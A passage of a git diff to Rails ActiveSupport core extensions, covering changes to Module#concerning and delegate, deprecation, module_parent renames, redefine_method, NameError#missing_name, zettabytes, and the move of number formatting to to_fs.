   # Noisy syntax.
   #
-  #   class Todo
+  #   class Todo < ApplicationRecord
   #     # Other todo implementation
   #     # ...
   #
@@ -50,7 +51,6 @@ class Module
   #       included do
   #         has_many :events
   #         before_create :track_creation
-  #         after_destroy :track_deletion
   #       end
   #
   #       private
@@ -61,26 +61,26 @@ class Module
   #     include EventTracking
   #   end
   #
-  # == Mix-in noise exiled to its own file:
+  # === Mix-in noise exiled to its own file:
   #
   # Once our chunk of behavior starts pushing the scroll-to-understand-it
   # boundary, we give in and move it to a separate file. At this size, the
   # increased overhead can be a reasonable tradeoff even if it reduces our
   # at-a-glance perception of how things work.
   #
-  #   class Todo
+  #   class Todo < ApplicationRecord
   #     # Other todo implementation
   #     # ...
   #
   #     include TodoEventTracking
   #   end
   #
-  # = Introducing Module#concerning
+  # == Introducing Module#concerning
   #
   # By quieting the mix-in noise, we arrive at a natural, low-ceremony way to
   # separate bite-sized concerns.
   #
-  #   class Todo
+  #   class Todo < ApplicationRecord
   #     # Other todo implementation
   #     # ...
   #
@@ -88,7 +88,6 @@ class Module
   #       included do
   #         has_many :events
   #         before_create :track_creation
-  #         after_destroy :track_deletion
   #       end
   #
   #       private
@@ -99,16 +98,22 @@ class Module
   #   end
   #
   #   Todo.ancestors
-  #   # => [Todo, Todo::EventTracking, Object]
+  #   # => [Todo, Todo::EventTracking, ApplicationRecord, Object]
   #
   # This small step has some wonderful ripple effects. We can
   # * grok the behavior of our class in one glance,
   # * clean up monolithic junk-drawer classes by separating their concerns, and
   # * stop leaning on protected/private for crude "this is internal stuff" modularity.
+  #
+  # === Prepending concerning
+  #
+  # <tt>concerning</tt> supports a <tt>prepend: true</tt> argument which will <tt>prepend</tt> the
+  # concern instead of using <tt>include</tt> for it.
   module Concerning
     # Define a new concern and mix it in.
-    def concerning(topic, &block)
-      include concern(topic, &block)
+    def concerning(topic, prepend: false, &block)
+      method = prepend ? :prepend : :include
+      __send__(method, concern(topic, &block))
     end
 
     # A low-cruft shortcut to define a concern.
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index cdf27f49ad8d7..f306d55f39201 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -1,27 +1,18 @@
-require "set"
-require "active_support/core_ext/regexp"
+# frozen_string_literal: true
 
 class Module
-  # Error generated by +delegate+ when a method is called on +nil+ and +allow_nil+
-  # option is not used.
-  class DelegationError < NoMethodError; end
-
-  RUBY_RESERVED_KEYWORDS = %w(alias and BEGIN begin break case class def defined? do
-  else elsif END end ensure false for if in module next nil not or redo rescue retry
-  return self super then true undef unless until when while yield)
-  DELEGATION_RESERVED_KEYWORDS = %w(_ arg args block)
-  DELEGATION_RESERVED_METHOD_NAMES = Set.new(
-    RUBY_RESERVED_KEYWORDS + DELEGATION_RESERVED_KEYWORDS
-  ).freeze
+  require "active_support/delegation"
+  DelegationError = ActiveSupport::DelegationError # :nodoc:
 
   # Provides a +delegate+ class method to easily expose contained objects'
   # public methods as your own.
   #
   # ==== Options
-  # * <tt>:to</tt> - Specifies the target object
+  # * <tt>:to</tt> - Specifies the target object name as a symbol or string
   # * <tt>:prefix</tt> - Prefixes the new method with the target name or a custom prefix
-  # * <tt>:allow_nil</tt> - if set to true, prevents a +Module::DelegationError+
+  # * <tt>:allow_nil</tt> - If set to true, prevents a +ActiveSupport::DelegationError+
   #   from being raised
+  # * <tt>:private</tt> - If set to true, changes method visibility to private
   #
   # The macro receives one or more method names (specified as symbols or
   # strings) and the name of the target object via the <tt>:to</tt> option
@@ -112,12 +103,26 @@ class DelegationError < NoMethodError; end
   #   invoice.customer_name    # => 'John Doe'
   #   invoice.customer_address # => 'Vimmersvej 13'
   #
+  # The delegated methods are public by default.
+  # Pass <tt>private: true</tt> to change that.
+  #
+  #   class User < ActiveRecord::Base
+  #     has_one :profile
+  #     delegate :first_name, to: :profile
+  #     delegate :date_of_birth, to: :profile, private: true
+  #
+  #     def age
+  #       Date.today.year - date_of_birth.year
+  #     end
+  #   end
+  #
+  #   User.new.first_name # => "Tomas"
+  #   User.new.date_of_birth # => NoMethodError: private method `date_of_birth' called for #<User:0x00000008221340>
+  #   User.new.age # => 2
+  #
   # If the target is +nil+ and does not respond to the delegated method a
-  # +Module::DelegationError+ is raised, as with any other value. Sometimes,
-  # however, it makes sense to be robust to that situation and that is the
-  # purpose of the <tt>:allow_nil</tt> option: If the target is not +nil+, or it
-  # is and responds to the method, everything works as usual. But if it is +nil+
-  # and does not respond to the delegated method, +nil+ is returned.
+  # +ActiveSupport::DelegationError+ is raised. If you wish to instead return +nil+,
+  # use the <tt>:allow_nil</tt> option.
   #
   #   class User < ActiveRecord::Base
   #     has_one :profile
@@ -125,7 +130,7 @@ class DelegationError < NoMethodError; end
   #   end
   #
   #   User.new.age
-  #   # => Module::DelegationError: User#age delegated to profile.age, but profile is nil
+  #   # => ActiveSupport::DelegationError: User#age delegated to profile.age, but profile is nil
   #
   # But if not having a profile yet is fine and should not be an error
   # condition:
@@ -152,131 +157,69 @@ class DelegationError < NoMethodError; end
   #   Foo.new("Bar").name # raises NoMethodError: undefined method `name'
   #
   # The target method must be public, otherwise it will raise +NoMethodError+.
-  def delegate(*methods, to: nil, prefix: nil, allow_nil: nil)
-    unless to
-      raise ArgumentError, "Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, to: :greeter)."
-    end
-
-    if prefix == true && /^[^a-z_]/.match?(to)
-      raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method."
-    end
-
-    method_prefix = \
-      if prefix
-        "#{prefix == true ? to : prefix}_"
-      else
-        ""
-      end
-
-    location = caller_locations(1, 1).first
-    file, line = location.path, location.lineno
-
-    to = to.to_s
-    to = "self.#{to}" if DELEGATION_RESERVED_METHOD_NAMES.include?(to)
-
-    methods.each do |method|
-      # Attribute writer methods only accept one argument. Makes sure []=
-      # methods still accept two arguments.
-      definition = /[^\]]=$/.match?(method) ? "arg" : "*args, &block"
-
-      # The following generated method calls the target exactly once, storing
-      # the returned value in a dummy variable.
-      #
-      # Reason is twofold: On one hand doing less calls is in general better.
-      # On the other hand it could be that the target has side-effects,
-      # whereas conceptually, from the user point of view, the delegator should
-      # be doing one call.
-      if allow_nil
-        method_def = [
-          "def #{method_prefix}#{method}(#{definition})",
-          "_ = #{to}",
-          "if !_.nil? || nil.respond_to?(:#{method})",
-          "  _.#{method}(#{definition})",
-          "end",
-        "end"
-        ].join ";"
-      else
-        exception = %(raise DelegationError, "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
-
-        method_def = [
-          "def #{method_prefix}#{method}(#{definition})",
-          " _ = #{to}",
-          "  _.#{method}(#{definition})",
-          "rescue NoMethodError => e",
-          "  if _.nil? && e.name == :#{method}",
-          "    #{exception}",
-          "  else",
-          "    raise",
-          "  end",
-          "end"
-        ].join ";"
-      end
-
-      module_eval(method_def, file, line)
-    end
+  def delegate(*methods, to: nil, prefix: nil, allow_nil: nil, private: nil)
+    ::ActiveSupport::Delegation.generate(
+      self,
+      methods,
+      location: caller_locations(1, 1).first,
+      to: to,
+      prefix: prefix,
+      allow_nil: allow_nil,
+      private: private,
+    )
   end
 
   # When building decorators, a common pattern may emerge:
   #
   #   class Partition
-  #     def initialize(first_event)
-  #       @events = [ first_event ]
+  #     def initialize(event)
+  #       @event = event
   #     end
   #
-  #     def people
-  #       if @events.first.detail.people.any?
-  #         @events.collect { |e| Array(e.detail.people) }.flatten.uniq
-  #       else
-  #         @events.collect(&:creator).uniq
-  #       end
+  #     def person
+  #       detail.person || creator
   #     end
   #
   #     private
   #       def respond_to_missing?(name, include_private = false)
-  #         @events.respond_to?(name, include_private)
+  #         @event.respond_to?(name, include_private)
   #       end
   #
   #       def method_missing(method, *args, &block)
-  #         @events.send(method, *args, &block)
+  #         @event.send(method, *args, &block)
   #       end
   #   end
   #
-  # With `Module#delegate_missing_to`, the above is condensed to:
+  # With <tt>Module#delegate_missing_to</tt>, the above is condensed to:
   #
   #   class Partition
-  #     delegate_missing_to :@events
+  #     delegate_missing_to :@event
   #
-  #     def initialize(first_event)
-  #       @events = [ first_event ]
+  #     def initialize(event)
+  #       @event = event
   #     end
   #
-  #     def people
-  #       if @events.first.detail.people.any?
-  #         @events.collect { |e| Array(e.detail.people) }.flatten.uniq
-  #       else
-  #         @events.collect(&:creator).uniq
-  #       end
+  #     def person
+  #       detail.person || creator
   #     end
   #   end
   #
-  # The target can be anything callable within the object. E.g. instance
-  # variables, methods, constants and the likes.
-  def delegate_missing_to(target)
-    target = target.to_s
-    target = "self.#{target}" if DELEGATION_RESERVED_METHOD_NAMES.include?(target)
-
-    module_eval <<-RUBY, __FILE__, __LINE__ + 1
-      def respond_to_missing?(name, include_private = false)
-        #{target}.respond_to?(name, include_private)
-      end
-
-      def method_missing(method, *args, &block)
-        if #{target}.respond_to?(method)
-          #{target}.public_send(method, *args, &block)
-        else
-          super
-        end
-      end
-    RUBY
+  # The target can be anything callable within the object, e.g. instance
+  # variables, methods, constants, etc.
+  #
+  # The delegated method must be public on the target, otherwise it will
+  # raise +ActiveSupport::DelegationError+. If you wish to instead return +nil+,
+  # use the <tt>:allow_nil</tt> option.
+  #
+  # The <tt>marshal_dump</tt> and <tt>_dump</tt> methods are exempt from
+  # delegation due to possible interference when calling
+  # <tt>Marshal.dump(object)</tt>, should the delegation target method
+  # of <tt>object</tt> add or remove instance variables.
+  def delegate_missing_to(target, allow_nil: nil)
+    ::ActiveSupport::Delegation.generate_method_missing(
+      self,
+      target,
+      allow_nil: allow_nil,
+    )
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
index f3f2e7f5fcd86..420311b3a6dd1 100644
--- a/activesupport/lib/active_support/core_ext/module/deprecation.rb
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -1,15 +1,12 @@
+# frozen_string_literal: true
+
 class Module
-  #   deprecate :foo
-  #   deprecate bar: 'message'
-  #   deprecate :foo, :bar, baz: 'warning!', qux: 'gone!'
+  #   deprecate :foo, deprecator: MyLib.deprecator
+  #   deprecate :foo, bar: "warning!", deprecator: MyLib.deprecator
   #
-  # You can also use custom deprecator instance:
-  #
-  #   deprecate :foo, deprecator: MyLib::Deprecator.new
-  #   deprecate :foo, bar: "warning!", deprecator: MyLib::Deprecator.new
-  #
-  # \Custom deprecators must respond to <tt>deprecation_warning(deprecated_method_name, message, caller_backtrace)</tt>
-  # method where you can implement your custom warning behavior.
+  # A deprecator is typically an instance of ActiveSupport::Deprecation, but you can also pass any object that responds
+  # to <tt>deprecation_warning(deprecated_method_name, message, caller_backtrace)</tt> where you can implement your
+  # custom warning behavior.
   #
   #   class MyLib::Deprecator
   #     def deprecation_warning(deprecated_method_name, message, caller_backtrace = nil)
@@ -17,7 +14,12 @@ class Module
   #       Kernel.warn message
   #     end
   #   end
-  def deprecate(*method_names)
-    ActiveSupport::Deprecation.deprecate_methods(self, *method_names)
+  def deprecate(*method_names, deprecator:, **options)
+    if deprecator.is_a?(ActiveSupport::Deprecation)
+      deprecator.deprecate_methods(self, *method_names, **options)
+    elsif deprecator
+      # we just need any instance to call deprecate_methods, but the deprecation will be emitted by deprecator
+      ActiveSupport.deprecator.deprecate_methods(self, *method_names, **options, deprecator: deprecator)
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb
index ca20a6d4c5d09..97ee421c958bf 100644
--- a/activesupport/lib/active_support/core_ext/module/introspection.rb
+++ b/activesupport/lib/active_support/core_ext/module/introspection.rb
@@ -1,14 +1,19 @@
+# frozen_string_literal: true
+
 require "active_support/inflector"
 
 class Module
   # Returns the name of the module containing this one.
   #
-  #   M::N.parent_name # => "M"
-  def parent_name
+  #   M::N.module_parent_name # => "M"
+  def module_parent_name
     if defined?(@parent_name)
       @parent_name
     else
-      parent_name = name =~ /::[^:]+\Z/ ? $`.freeze : nil
+      name = self.name
+      return if name.nil?
+
+      parent_name = name =~ /::[^:]+\z/ ? -$` : nil
       @parent_name = parent_name unless frozen?
       parent_name
     end
@@ -22,15 +27,15 @@ def parent_name
   #   end
   #   X = M::N
   #
-  #   M::N.parent # => M
-  #   X.parent    # => M
+  #   M::N.module_parent # => M
+  #   X.module_parent    # => M
   #
   # The parent of top-level and anonymous modules is Object.
   #
-  #   M.parent          # => Object
-  #   Module.new.parent # => Object
-  def parent
-    parent_name ? ActiveSupport::Inflector.constantize(parent_name) : Object
+  #   M.module_parent          # => Object
+  #   Module.new.module_parent # => Object
+  def module_parent
+    module_parent_name ? ActiveSupport::Inflector.constantize(module_parent_name) : Object
   end
 
   # Returns all the parents of this module according to its name, ordered from
@@ -42,13 +47,13 @@ def parent
   #   end
   #   X = M::N
   #
-  #   M.parents    # => [Object]
-  #   M::N.parents # => [M, Object]
-  #   X.parents    # => [M, Object]
-  def parents
+  #   M.module_parents    # => [Object]
+  #   M::N.module_parents # => [M, Object]
+  #   X.module_parents    # => [M, Object]
+  def module_parents
     parents = []
-    if parent_name
-      parts = parent_name.split("::")
+    if module_parent_name
+      parts = module_parent_name.split("::")
       until parts.empty?
         parents << ActiveSupport::Inflector.constantize(parts * "::")
         parts.pop
diff --git a/activesupport/lib/active_support/core_ext/module/reachable.rb b/activesupport/lib/active_support/core_ext/module/reachable.rb
deleted file mode 100644
index b89a38f26cc9c..0000000000000
--- a/activesupport/lib/active_support/core_ext/module/reachable.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "active_support/core_ext/module/anonymous"
-require "active_support/core_ext/string/inflections"
-
-class Module
-  def reachable? #:nodoc:
-    !anonymous? && name.safe_constantize.equal?(self)
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/module/redefine_method.rb b/activesupport/lib/active_support/core_ext/module/redefine_method.rb
new file mode 100644
index 0000000000000..5bd8e6e973a3b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/redefine_method.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class Module
+  # Marks the named method as intended to be redefined, if it exists.
+  # Suppresses the Ruby method redefinition warning. Prefer
+  # #redefine_method where possible.
+  def silence_redefinition_of_method(method)
+    if method_defined?(method) || private_method_defined?(method)
+      # This suppresses the "method redefined" warning; the self-alias
+      # looks odd, but means we don't need to generate a unique name
+      alias_method method, method
+    end
+  end
+
+  # Replaces the existing method definition, if there is one, with the passed
+  # block as its body.
+  def redefine_method(method, &block)
+    visibility = method_visibility(method)
+    silence_redefinition_of_method(method)
+    define_method(method, &block)
+    send(visibility, method)
+  end
+
+  # Replaces the existing singleton method definition, if there is one, with
+  # the passed block as its body.
+  def redefine_singleton_method(method, &block)
+    singleton_class.redefine_method(method, &block)
+  end
+
+  def method_visibility(method) # :nodoc:
+    case
+    when private_method_defined?(method)
+      :private
+    when protected_method_defined?(method)
+      :protected
+    else
+      :public
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb
index d5ec16d68a7c5..97eb5f9eca69d 100644
--- a/activesupport/lib/active_support/core_ext/module/remove_method.rb
+++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/redefine_method"
+
 class Module
   # Removes the named method, if it exists.
   def remove_possible_method(method)
@@ -8,28 +12,6 @@ def remove_possible_method(method)
 
   # Removes the named singleton method, if it exists.
   def remove_possible_singleton_method(method)
-    singleton_class.instance_eval do
-      remove_possible_method(method)
-    end
-  end
-
-  # Replaces the existing method definition, if there is one, with the passed
-  # block as its body.
-  def redefine_method(method, &block)
-    visibility = method_visibility(method)
-    remove_possible_method(method)
-    define_method(method, &block)
-    send(visibility, method)
-  end
-
-  def method_visibility(method) # :nodoc:
-    case
-    when private_method_defined?(method)
-      :private
-    when protected_method_defined?(method)
-      :protected
-    else
-      :public
-    end
+    singleton_class.remove_possible_method(method)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/name_error.rb b/activesupport/lib/active_support/core_ext/name_error.rb
index 6b447d772b30a..18ea2754d10a2 100644
--- a/activesupport/lib/active_support/core_ext/name_error.rb
+++ b/activesupport/lib/active_support/core_ext/name_error.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class NameError
   # Extract the name of the missing constant from the exception message.
   #
@@ -8,8 +10,26 @@ class NameError
   #   end
   #   # => "HelloWorld"
   def missing_name
-    if /undefined local variable or method/ !~ message
-      $1 if /((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/ =~ message
+    # Since ruby v2.3.0 `did_you_mean` gem is loaded by default.
+    # It extends NameError#message with spell corrections which are SLOW.
+    # We should use original_message message instead.
+    message = respond_to?(:original_message) ? original_message : self.message
+    return unless message.start_with?("uninitialized constant ")
+
+    receiver = begin
+      self.receiver
+    rescue ArgumentError
+      nil
+    end
+
+    if receiver == Object
+      name.to_s
+    elsif receiver
+      "#{real_mod_name(receiver)}::#{self.name}"
+    else
+      if match = message.match(/((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/)
+        match[1]
+      end
     end
   end
 
@@ -28,4 +48,12 @@ def missing_name?(name)
       missing_name == name.to_s
     end
   end
+
+  private
+    UNBOUND_METHOD_MODULE_NAME = Module.instance_method(:name)
+    private_constant :UNBOUND_METHOD_MODULE_NAME
+
+    def real_mod_name(mod)
+      UNBOUND_METHOD_MODULE_NAME.bind_call(mod)
+    end
 end
diff --git a/activesupport/lib/active_support/core_ext/numeric.rb b/activesupport/lib/active_support/core_ext/numeric.rb
index 6062f9e3a8d0e..949efcb726c1f 100644
--- a/activesupport/lib/active_support/core_ext/numeric.rb
+++ b/activesupport/lib/active_support/core_ext/numeric.rb
@@ -1,4 +1,5 @@
-require "active_support/core_ext/numeric/bytes"
-require "active_support/core_ext/numeric/time"
-require "active_support/core_ext/numeric/inquiry"
-require "active_support/core_ext/numeric/conversions"
+# frozen_string_literal: true
+
+require_relative "numeric/bytes"
+require_relative "numeric/time"
+require_relative "numeric/conversions"
diff --git a/activesupport/lib/active_support/core_ext/numeric/bytes.rb b/activesupport/lib/active_support/core_ext/numeric/bytes.rb
index dfbca32474420..45b38f2b983f3 100644
--- a/activesupport/lib/active_support/core_ext/numeric/bytes.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/bytes.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Numeric
   KILOBYTE = 1024
   MEGABYTE = KILOBYTE * 1024
@@ -5,6 +7,7 @@ class Numeric
   TERABYTE = GIGABYTE * 1024
   PETABYTE = TERABYTE * 1024
   EXABYTE  = PETABYTE * 1024
+  ZETTABYTE = EXABYTE * 1024
 
   # Enables the use of byte calculations and declarations, like 45.bytes + 2.6.megabytes
   #
@@ -61,4 +64,12 @@ def exabytes
     self * EXABYTE
   end
   alias :exabyte :exabytes
+
+  # Returns the number of bytes equivalent to the zettabytes provided.
+  #
+  #   2.zettabytes # => 2_361_183_241_434_822_606_848
+  def zettabytes
+    self * ZETTABYTE
+  end
+  alias :zettabyte :zettabytes
 end
diff --git a/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
index 4f6621693ee9a..e9839931f8f5a 100644
--- a/activesupport/lib/active_support/core_ext/numeric/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
@@ -1,138 +1,145 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/big_decimal/conversions"
 require "active_support/number_helper"
-require "active_support/core_ext/module/deprecation"
 
-module ActiveSupport::NumericWithFormat
-  # Provides options for converting numbers into formatted strings.
-  # Options are provided for phone numbers, currency, percentage,
-  # precision, positional notation, file size and pretty printing.
-  #
-  # ==== Options
-  #
-  # For details on which formats use which options, see ActiveSupport::NumberHelper
-  #
-  # ==== Examples
-  #
-  #  Phone Numbers:
-  #  5551234.to_s(:phone)                                     # => "555-1234"
-  #  1235551234.to_s(:phone)                                  # => "123-555-1234"
-  #  1235551234.to_s(:phone, area_code: true)                 # => "(123) 555-1234"
-  #  1235551234.to_s(:phone, delimiter: ' ')                  # => "123 555 1234"
-  #  1235551234.to_s(:phone, area_code: true, extension: 555) # => "(123) 555-1234 x 555"
-  #  1235551234.to_s(:phone, country_code: 1)                 # => "+1-123-555-1234"
-  #  1235551234.to_s(:phone, country_code: 1, extension: 1343, delimiter: '.')
-  #  # => "+1.123.555.1234 x 1343"
-  #
-  #  Currency:
-  #  1234567890.50.to_s(:currency)                 # => "$1,234,567,890.50"
-  #  1234567890.506.to_s(:currency)                # => "$1,234,567,890.51"
-  #  1234567890.506.to_s(:currency, precision: 3)  # => "$1,234,567,890.506"
-  #  1234567890.506.to_s(:currency, locale: :fr)   # => "1 234 567 890,51 €"
-  #  -1234567890.50.to_s(:currency, negative_format: '(%u%n)')
-  #  # => "($1,234,567,890.50)"
-  #  1234567890.50.to_s(:currency, unit: '&pound;', separator: ',', delimiter: '')
-  #  # => "&pound;1234567890,50"
-  #  1234567890.50.to_s(:currency, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
-  #  # => "1234567890,50 &pound;"
-  #
-  #  Percentage:
-  #  100.to_s(:percentage)                                  # => "100.000%"
-  #  100.to_s(:percentage, precision: 0)                    # => "100%"
-  #  1000.to_s(:percentage, delimiter: '.', separator: ',') # => "1.000,000%"
-  #  302.24398923423.to_s(:percentage, precision: 5)        # => "302.24399%"
-  #  1000.to_s(:percentage, locale: :fr)                    # => "1 000,000%"
-  #  100.to_s(:percentage, format: '%n  %')                 # => "100.000  %"
-  #
-  #  Delimited:
-  #  12345678.to_s(:delimited)                     # => "12,345,678"
-  #  12345678.05.to_s(:delimited)                  # => "12,345,678.05"
-  #  12345678.to_s(:delimited, delimiter: '.')     # => "12.345.678"
-  #  12345678.to_s(:delimited, delimiter: ',')     # => "12,345,678"
-  #  12345678.05.to_s(:delimited, separator: ' ')  # => "12,345,678 05"
-  #  12345678.05.to_s(:delimited, locale: :fr)     # => "12 345 678,05"
-  #  98765432.98.to_s(:delimited, delimiter: ' ', separator: ',')
-  #  # => "98 765 432,98"
-  #
-  #  Rounded:
-  #  111.2345.to_s(:rounded)                                      # => "111.235"
-  #  111.2345.to_s(:rounded, precision: 2)                        # => "111.23"
-  #  13.to_s(:rounded, precision: 5)                              # => "13.00000"
-  #  389.32314.to_s(:rounded, precision: 0)                       # => "389"
-  #  111.2345.to_s(:rounded, significant: true)                   # => "111"
-  #  111.2345.to_s(:rounded, precision: 1, significant: true)     # => "100"
-  #  13.to_s(:rounded, precision: 5, significant: true)           # => "13.000"
-  #  111.234.to_s(:rounded, locale: :fr)                          # => "111,234"
-  #  13.to_s(:rounded, precision: 5, significant: true, strip_insignificant_zeros: true)
-  #  # => "13"
-  #  389.32314.to_s(:rounded, precision: 4, significant: true)    # => "389.3"
-  #  1111.2345.to_s(:rounded, precision: 2, separator: ',', delimiter: '.')
-  #  # => "1.111,23"
-  #
-  #  Human-friendly size in Bytes:
-  #  123.to_s(:human_size)                                   # => "123 Bytes"
-  #  1234.to_s(:human_size)                                  # => "1.21 KB"
-  #  12345.to_s(:human_size)                                 # => "12.1 KB"
-  #  1234567.to_s(:human_size)                               # => "1.18 MB"
-  #  1234567890.to_s(:human_size)                            # => "1.15 GB"
-  #  1234567890123.to_s(:human_size)                         # => "1.12 TB"
-  #  1234567890123456.to_s(:human_size)                      # => "1.1 PB"
-  #  1234567890123456789.to_s(:human_size)                   # => "1.07 EB"
-  #  1234567.to_s(:human_size, precision: 2)                 # => "1.2 MB"
-  #  483989.to_s(:human_size, precision: 2)                  # => "470 KB"
-  #  1234567.to_s(:human_size, precision: 2, separator: ',') # => "1,2 MB"
-  #  1234567890123.to_s(:human_size, precision: 5)           # => "1.1228 TB"
-  #  524288000.to_s(:human_size, precision: 5)               # => "500 MB"
-  #
-  #  Human-friendly format:
-  #  123.to_s(:human)                                       # => "123"
-  #  1234.to_s(:human)                                      # => "1.23 Thousand"
-  #  12345.to_s(:human)                                     # => "12.3 Thousand"
-  #  1234567.to_s(:human)                                   # => "1.23 Million"
-  #  1234567890.to_s(:human)                                # => "1.23 Billion"
-  #  1234567890123.to_s(:human)                             # => "1.23 Trillion"
-  #  1234567890123456.to_s(:human)                          # => "1.23 Quadrillion"
-  #  1234567890123456789.to_s(:human)                       # => "1230 Quadrillion"
-  #  489939.to_s(:human, precision: 2)                      # => "490 Thousand"
-  #  489939.to_s(:human, precision: 4)                      # => "489.9 Thousand"
-  #  1234567.to_s(:human, precision: 4,
-  #                   significant: false)                   # => "1.2346 Million"
-  #  1234567.to_s(:human, precision: 1,
-  #                   separator: ',',
-  #                   significant: false)                   # => "1,2 Million"
-  def to_s(format = nil, options = nil)
-    case format
-    when nil
-      super()
-    when Integer, String
-      super(format)
-    when :phone
-      return ActiveSupport::NumberHelper.number_to_phone(self, options || {})
-    when :currency
-      return ActiveSupport::NumberHelper.number_to_currency(self, options || {})
-    when :percentage
-      return ActiveSupport::NumberHelper.number_to_percentage(self, options || {})
-    when :delimited
-      return ActiveSupport::NumberHelper.number_to_delimited(self, options || {})
-    when :rounded
-      return ActiveSupport::NumberHelper.number_to_rounded(self, options || {})
-    when :human
-      return ActiveSupport::NumberHelper.number_to_human(self, options || {})
-    when :human_size
-      return ActiveSupport::NumberHelper.number_to_human_size(self, options || {})
-    when Symbol
-      super()
-    else
-      super(format)
+module ActiveSupport
+  module NumericWithFormat
+    # \Numeric With Format
+    #
+    # Provides options for converting numbers into formatted strings.
+    # Options are provided for phone numbers, currency, percentage,
+    # precision, positional notation, file size, and pretty printing.
+    #
+    # This method is aliased to <tt>to_formatted_s</tt>.
+    #
+    # ==== Options
+    #
+    # For details on which formats use which options, see ActiveSupport::NumberHelper
+    #
+    # ==== Examples
+    #
+    #  Phone Numbers:
+    #  5551234.to_fs(:phone)                                     # => "555-1234"
+    #  1235551234.to_fs(:phone)                                  # => "123-555-1234"
+    #  1235551234.to_fs(:phone, area_code: true)                 # => "(123) 555-1234"
+    #  1235551234.to_fs(:phone, delimiter: ' ')                  # => "123 555 1234"
+    #  1235551234.to_fs(:phone, area_code: true, extension: 555) # => "(123) 555-1234 x 555"
+    #  1235551234.to_fs(:phone, country_code: 1)                 # => "+1-123-555-1234"
+    #  1235551234.to_fs(:phone, country_code: 1, extension: 1343, delimiter: '.')
+    #  # => "+1.123.555.1234 x 1343"
+    #
+    #  Currency:
+    #  1234567890.50.to_fs(:currency)                     # => "$1,234,567,890.50"
+    #  1234567890.506.to_fs(:currency)                    # => "$1,234,567,890.51"
+    #  1234567890.506.to_fs(:currency, precision: 3)      # => "$1,234,567,890.506"
+    #  1234567890.506.to_fs(:currency, round_mode: :down) # => "$1,234,567,890.50"
+    #  1234567890.506.to_fs(:currency, locale: :fr)       # => "1 234 567 890,51 €"
+    #  -1234567890.50.to_fs(:currency, negative_format: '(%u%n)')
+    #  # => "($1,234,567,890.50)"
+    #  1234567890.50.to_fs(:currency, unit: '&pound;', separator: ',', delimiter: '')
+    #  # => "&pound;1234567890,50"
+    #  1234567890.50.to_fs(:currency, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
+    #  # => "1234567890,50 &pound;"
+    #
+    #  Percentage:
+    #  100.to_fs(:percentage)                                  # => "100.000%"
+    #  100.to_fs(:percentage, precision: 0)                    # => "100%"
+    #  1000.to_fs(:percentage, delimiter: '.', separator: ',') # => "1.000,000%"
+    #  302.24398923423.to_fs(:percentage, precision: 5)        # => "302.24399%"
+    #  302.24398923423.to_fs(:percentage, round_mode: :down)   # => "302.243%"
+    #  1000.to_fs(:percentage, locale: :fr)                    # => "1 000,000%"
+    #  100.to_fs(:percentage, format: '%n  %')                 # => "100.000  %"
+    #
+    #  Delimited:
+    #  12345678.to_fs(:delimited)                     # => "12,345,678"
+    #  12345678.05.to_fs(:delimited)                  # => "12,345,678.05"
+    #  12345678.to_fs(:delimited, delimiter: '.')     # => "12.345.678"
+    #  12345678.to_fs(:delimited, delimiter: ',')     # => "12,345,678"
+    #  12345678.05.to_fs(:delimited, separator: ' ')  # => "12,345,678 05"
+    #  12345678.05.to_fs(:delimited, locale: :fr)     # => "12 345 678,05"
+    #  98765432.98.to_fs(:delimited, delimiter: ' ', separator: ',')
+    #  # => "98 765 432,98"
+    #
+    #  Rounded:
+    #  111.2345.to_fs(:rounded)                                      # => "111.235"
+    #  111.2345.to_fs(:rounded, precision: 2)                        # => "111.23"
+    #  111.2345.to_fs(:rounded, precision: 2, round_mode: :up)       # => "111.24"
+    #  13.to_fs(:rounded, precision: 5)                              # => "13.00000"
+    #  389.32314.to_fs(:rounded, precision: 0)                       # => "389"
+    #  111.2345.to_fs(:rounded, significant: true)                   # => "111"
+    #  111.2345.to_fs(:rounded, precision: 1, significant: true)     # => "100"
+    #  13.to_fs(:rounded, precision: 5, significant: true)           # => "13.000"
+    #  111.234.to_fs(:rounded, locale: :fr)                          # => "111,234"
+    #  13.to_fs(:rounded, precision: 5, significant: true, strip_insignificant_zeros: true)
+    #  # => "13"
+    #  389.32314.to_fs(:rounded, precision: 4, significant: true)    # => "389.3"
+    #  1111.2345.to_fs(:rounded, precision: 2, separator: ',', delimiter: '.')
+    #  # => "1.111,23"
+    #
+    #  Human-friendly size in Bytes:
+    #  123.to_fs(:human_size)                                    # => "123 Bytes"
+    #  1234.to_fs(:human_size)                                   # => "1.21 KB"
+    #  12345.to_fs(:human_size)                                  # => "12.1 KB"
+    #  1234567.to_fs(:human_size)                                # => "1.18 MB"
